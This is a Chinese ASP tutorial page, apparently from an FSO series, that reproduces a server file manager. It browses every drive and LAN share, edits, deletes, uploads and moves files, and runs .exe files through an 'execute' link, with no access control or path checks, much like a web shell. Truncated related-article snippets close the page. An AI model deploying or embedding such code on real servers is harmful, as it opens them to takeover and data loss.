文件的读出 编辑 管理_FSO专题

<%

urlpath="http://"&Request.ServerVariables("SERVER_NAME")

dim cpath,lpath

set fsoBrowse=CreateObject("Scripting.FileSystemObject")

if Request("path")="" then

lpath="/"

else

lpath=Request("path")&"/"

end if

if Request("attrib")="true" then

cpath=lpath

attrib="true"

else

cpath=Server.MapPath(lpath)

attrib=""

end if

Sub GetFolder()

dim theFolder,theSubFolders

if fsoBrowse.FolderExists(cpath)then

Set theFolder=fsoBrowse.GetFolder(cpath)

Set theSubFolders=theFolder.SubFolders

Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>"

Response.write"<table border='0' width='100%' cellpadding='0'>"

For Each x In theSubFolders

Response.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&x.Name&"</a> </td>"

Response.Write "<td><a href=# onclick=javascript:window.open('delete.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>删除</a></td>"

Response.Write "<td><a href=# onclick=javascript:window.open('move.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>移改</a></td>"

Response.Write "<td><a href=# onclick=javascript:window.open('copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>复制</a><br></td></tr>"

Next

Response.Write "</table>"

end if

End Sub

Sub GetFile()

dim theFiles

if fsoBrowse.FolderExists(cpath)then

Set theFolder=fsoBrowse.GetFolder(cpath)

Set theFiles=theFolder.Files

Response.write"<table border='0' width='100%' cellpadding='0'>"

For Each x In theFiles

if Request("attrib")="true" then

showstring="<strong>"&x.Name&"</strong>"

else

showstring="<a href=# onclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><strong>"&x.name&"</strong></a>"

end if

if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then

showstring=showstring&"</td><td width='10%'><A href=# onclick=javascript:window.open('fileop.asp@filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>执行</font></a></td>"

else

showstring=showstring&"</td><td width='10%'></td>"

end if

Response.write"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&x.size&"字节</td><td width='45%'><a href='#' title='"&"类型:"&x.type&chr(10)&"属性:"&x.Attributes&chr(10)&"时间:"&x.DateLastModified&"'><font color='#FF8000' >?</font>属性</a><a href=# onclick=javascript:window.open('view.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>查看</a><a href=# onclick=javascript:window.open('edit.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>编辑</a><a href=# onclick=javascript:window.open('edit.asp@path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&op=del&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>删除</a><a href=# onclick=javascript:window.open('copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >+</font>复制</a><a href=# onclick=javascript:window.open('move.asp@spath="&server.urlencode(lpath)&server.urlencode(x.Name)&"&aim=files"&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >+</font>移动</a></td></tr>"

Next

end if

Response.write"</table>"

End Sub

%>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title></title>

<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

<style>

<!--

table{ font-family: 宋体; font-size: 9pt }

a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<script language="JavaScript">

function crfile(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open('edit.asp?attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}

return false;

}

function crdir(ls)

{if (ls==""){alert("请输入文件名!");}

else {window.open('edir.asp?attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}

return false;

}

</script>

<script language="vbscript">

sub rmdir(ls)

if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then

window.open("edir.asp?path="&ls&"&op=del&attrib=<%=request("attrib")%>")

end if

end sub

sub copyfile(sfile)

dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10)&"[允许带路径,要根据你的当前路径模式]")

dfile=trim(dfile)

attrib="<%=request("attrib")%>"

if dfile<>"" then

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib<>"true" then

alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"

exit sub

end if

else

lp="<%=lpath%>"

end if

window.open("edit.asp?path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)

else

alert"您没有输入文件名!"

end If

end sub

</script>

<body>

<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"

bordercolordark="#FFFFFF" cellspacing="0">

<tr>

<td width="100%" bgcolor="#C0C0C0" colspan="2">※切换到相应盘符:<span

style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%

For Each thing in fsoBrowse.Drives

Response.write "◎<a href='list.asp?path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"

NEXT

%> </span><br>

[如果该盘在服务器上不存在,那么将不显示东西,你也可以更URL上的PATH值换换到其它路径上,支持局域网地址,如:"\\pc01\c"]</td>

</tr>

<tr>

<td width="100%" bgcolor="#C0C0C0" colspan="2">※<%

if Request("attrib")="true" then

response.write "<a href='list.asp'>切换到相对路径编辑模式</a>"

else

response.write "<a href='list.asp?attrib=true'>切换到绝对路径编辑模式</a>"

end if

%> ※绝对路径:<span

style="background-color: rgb(255,255,255)"><%=cpath%></span></td>

</tr>

<tr>

<td width="100%" bgcolor="#C0C0C0" colspan="2">※当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> <br>

※上传文件到当前目录<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><a href=../upfilein.asp?filepath=<%=server.urlencode(cpath)%> target=_blank>上传文件(文件大小最好不要超过500K)</a></span>

</td>

</tr><form name="newfile"

onSubmit="return crfile(newfile.filename.value);">

<tr><td bgcolor="#C0C0C0" colspan="2">〖文件〗 注:只允许文本编辑|<input type="text" name="filename" size="20"><input

type="submit" value="新建文件"><input type="button" value="新建目录" onclick="crdir(newfile.filename.value)">

</td>

</tr></form>

<tr>

<td width="40%" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>

</td>

<td width="60%" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>

</td>

</tr>

</table>

</body>

</html>

时间: 2024-07-31 07:33:55

文件的读出 编辑 管理_FSO专题的相关文章

文件的读出 编辑 管理

<% urlpath="http://"&Request.ServerVariables("SERVER_NAME") dim cpath,lpath set fsoBrowse=CreateObject("Scripting.FileSystemObject") if Request("path")="" then lpath="/" else lpath=Request

这里有一个例子 文件的读出 编辑 管理

<%urlpath="http://"&Request.ServerVariables("SERVER_NAME")dim cpath,lpathset fsoBrowse=CreateObject("Scripting.FileSystemObject")if Request("path")="" thenlpath="/"elselpath=Request("

ASP中FSO的神奇功能 - 用FSO进行内容管理_FSO专题

作 者 : 甘冀平 到此,你对FSO可能已经有了很好的体会.让我们再深入研究一步,来解决更复杂的难题. 首先,你可能希望对文件改名.为了跟踪所有的文档,你将要重新命名它们以便唯一,这样就可以被系统容易地区 别.很不幸,FSO不允许简单的文件改名操作,所以我们不得不修改一下. < % ' create the fso object set fso = Server.Createobject("Scripting.FileSystemObject") path = "c:

CentOS文件查看及编辑介绍详解

  CentOS文件查看及编辑介绍详解           2.1 cat 命令介绍 cat 命令的原含义为连接(concatenate), 用于连接多个文件内容并输出到标准输出流中(标准输出流默认为屏幕).实际运用过程中,我们常使用它来显示文件内容.如果您熟悉MS-DOS 下的type 命令,相信不难掌握cat 命令.该命令的常用示例如下: 1 cat file1.txt 显示 file1.txt 文件的内容; 2 3 cat file1.txt file2.txt 显示 file1.txt

AngularJS+Bootstrap实现多文件上传与管理_javascript技巧

最近一个项目中需要实现多文件上传与管理,而项目是基于bootstrap开发的,所以查了一些bootstrap文件上传插件,最后发现还是bootstrap-fileinput最美观,该插件可以实现多文件的上传与管理(插件官方地址:http://plugins.krajee.com/file-input),具体的效果如下:   (bootstrap-fileinput不局限于图片上传,也可以实现文件上传,但图片的缩略图容易辨识,这里就以图片上传为例)  该插件基本的操作可以参考:JS文件上传神器bo

java-写了一个简单的MP3,用一个线程完成从文件中读出歌词,无法显示是怎么回事?

问题描述 写了一个简单的MP3,用一个线程完成从文件中读出歌词,无法显示是怎么回事? RT,原来用一个函数完成歌词的读取,可以显示,现在我用一个线程来完成同样的功能,代码都是完全从那个函数中复制过去的,结果无法显示,控制台中也无法输出,求解 以下是代码: package app; import java.awt.BorderLayout; import java.awt.Color; import java.awt.Font; import java.awt.event.ActionEvent;

c语言-C语言,怎么在txt文件里面读出数据,用scanf```

问题描述 C语言,怎么在txt文件里面读出数据,用scanf``` 比如说text0.txt里面有这些数据3 12867 1.0 2.0 1.0 5.0 4.0 5.05 15643 1.0 2.0 4.0 5.0 7.8 3.5 5.0 0.4 1.0 0.44 18674 1.0 0.4 0.4 0.4 0.4 3.6 1.0 3.60 我怎么读出第一行,然后让npoints等于3,id等于12867,把1.0 2.0 1.0 5.0 4.0 5.0放入x[ ] 老师说只要在complie的

阿里云文件存储和自我管理的云解决方案的TCO比较

    阿里云文件存储是一种完全托管的文件存储服务. 很多客户也会使用第三方软件搭建自我管理的云解决方案. 本文重点从总体拥有成本(TCO)的角度,对这两种文件存储服务进行比较.   使用阿里云文件存储服务的总拥有成本,是使用第三方软件的自我管理云解决方案的28.91%     阿里云文件存储架构:                                           图1: 阿里云文件存储功能块图        阿里云文件存储是基于阿里云飞天平台的分布式共享文件系统.具有高可靠.

如何在MainActivity类中向布局文件添加一个编辑框

问题描述 如何在MainActivity类中向布局文件添加一个编辑框 如何在MainActivity类中向布局文件添加一个编辑框,编辑框组件设置id为et_miyue,需要输入文本 EditText et_miyue=new EditText(null); et_miyue.setHint("请输入密钥..."); et_miyue.setSingleLine(true); et_miyue.setAlpha(getWallpaperDesiredMinimumWidth()); et